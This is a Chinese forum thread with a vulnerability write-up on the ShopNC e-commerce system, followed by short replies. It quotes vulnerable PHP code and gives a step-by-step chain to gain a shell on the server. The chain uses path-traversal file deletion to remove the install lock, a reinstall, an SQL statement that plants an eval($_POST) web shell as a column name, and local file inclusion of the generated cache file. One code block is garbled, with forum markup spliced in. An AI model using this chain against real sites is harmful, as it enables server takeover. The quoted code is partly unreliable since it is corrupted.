电子商务系统ShopNC多个漏洞(可暴力 getshell)

浏览
3511
回复
84
收藏
0
点赞
0

楼主

2017-4-23 09:02:37
前言

ShopNC是一款S是网城创想公司旗下服务于企业客户的电子商务系统,基于PHP5技术采用MVC 模式开发,本文介绍了shopnc多个漏洞结合,可getshell有点暴力-_-


任意文件删除

文件 control\store.php 1438 行 (还有几个同样的地方,新版已修复)

  1. $model_upload = Model('upload');
  2.         $file_info = $model_upload->getOneUpload(intval($_GET['file_id']));
  3.         if(!$file_info){
  4.             @unlink(ATTACH_SLIDE.DS.$_GET['img_src']);
  5.         }else{
复制代码
本地文件包含

文件 /framework/core/base.php 71行

  1. $act_file = realpath( BasePath.DS."control".DS.$_GET['act'].".php" );
  2.     }
  3.     if ( is_file( $act_file ) )
  4.     {
  5.         require( $act_file );
  6.         $class_name = $_GET['act']."Control";
  7.         if ( class_exists( $class_name ) )
复制代码
后台更新缓存写shell

文件 model/adv_model.php 416 行

  1. /**
  2.      * 更新一条广告缓存
  3.      *
  4.      * @param unknown_type $adv
  5.      * @return unknown
  6.      */
  7.     public function makeAdvCache($adv){
  8.         $lang   = Language::getLangContent();
  9.         $tmp .= "<?php \r\n";
  10.         $tmp .= "defined('InShopNC') or exit('Access Invalid!'); \r\n";
  11.         if (is_numeric($adv) && $adv > 0){

  12.             $condition['adv_id'] = $adv;
  13.             $adv_info = $this->getList($condition);
  14.             $adv = $adv_info['0'];
  15.         }
  16.     ..................................
  17.                        $content = addslashes($v);
  18.             $content = str_replace('[p=26, null, left][color=rgb(88, 88, 88)][font=微软雅黑][size=15px]继续跟进getList函数[/size][/font][/color][/p][code]public function getList($condition=array(), $page='', $limit='', $orderby=''){
  19.     $param  = array();
  20.     $param['table'] = 'adv';
  21.     $param['field'] = $condition['field']?$condition['field']:'*';
  22.     $param['where'] = $this->getCondition($condition);
  23.     if($orderby == ''){
  24.         $param['order'] = 'slide_sort, adv_id desc';
  25.     }else{
  26.         $param['order'] = $orderby;
  27.     }
  28.     $param['limit'] = $limit;
  29.     return Db::select($param,$page);
  30. }
复制代码

写文件时,从数据库中遍历key,跟value 未过滤key,key 可以从数据库读取,当有数据库可控时,即可写入任意文件.

ShopNc GetShell

结合以上三个漏洞,即可优雅的 getshell
流程

  1. 任意文件删除 => 重装 => 更改数据库 shopnc_adv 键值 =>更新广告缓存 =>getshell
复制代码

体步骤

1:yum/index.php?act ... /../../install/lock

2:重装系统
3:进入MySQL  执行sql  ALTER TABLE `shopnc_adv` ADD `{eval($_POST[1])}` VARCHAR( 100 ) NOT NULL

4:进入后台 更新广告缓存  yuming/admin/index.php?act=adv&op=adv_edit&adv_id=14

5:连接shell   yuming/index.php?act=../cache/adv/adv_14.cache

继续跟进getList函数

回复

使用道具 举报

回复

跳转到指定楼层
网店运维-官方 发表于 2017-4-23 09:04:54 显示全部楼层
这个好像早就修复过了 老帖子了吧
回复 支持 反对

使用道具 举报

cn2rkpiv 发表于 2017-4-24 20:37:28 显示全部楼层
楼主是超人
回复 支持 反对

使用道具 举报

tomvni_o 发表于 2017-4-24 20:31:42 显示全部楼层
顶顶多好
回复 支持 反对

使用道具 举报

c47bmt2 发表于 2017-4-24 20:57:22 显示全部楼层
真心顶
回复 支持 反对

使用道具 举报

jksl62133 发表于 2017-4-24 20:35:00 显示全部楼层
难得一见的好帖
回复 支持 反对

使用道具 举报

ll3voo_xa 发表于 2017-4-24 20:40:50 显示全部楼层
LZ真是人才
回复 支持 反对

使用道具 举报

网店运维-官方 发表于 2017-4-28 09:58:48 显示全部楼层

回复 支持 反对

使用道具 举报

网店运维-官方 发表于 2017-4-28 09:58:55 显示全部楼层

回复 支持 反对

使用道具 举报

um9aex5 发表于 2017-5-13 20:51:07 显示全部楼层
好帖就是要顶
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

扫描二维码下载APP
快速回复 返回列表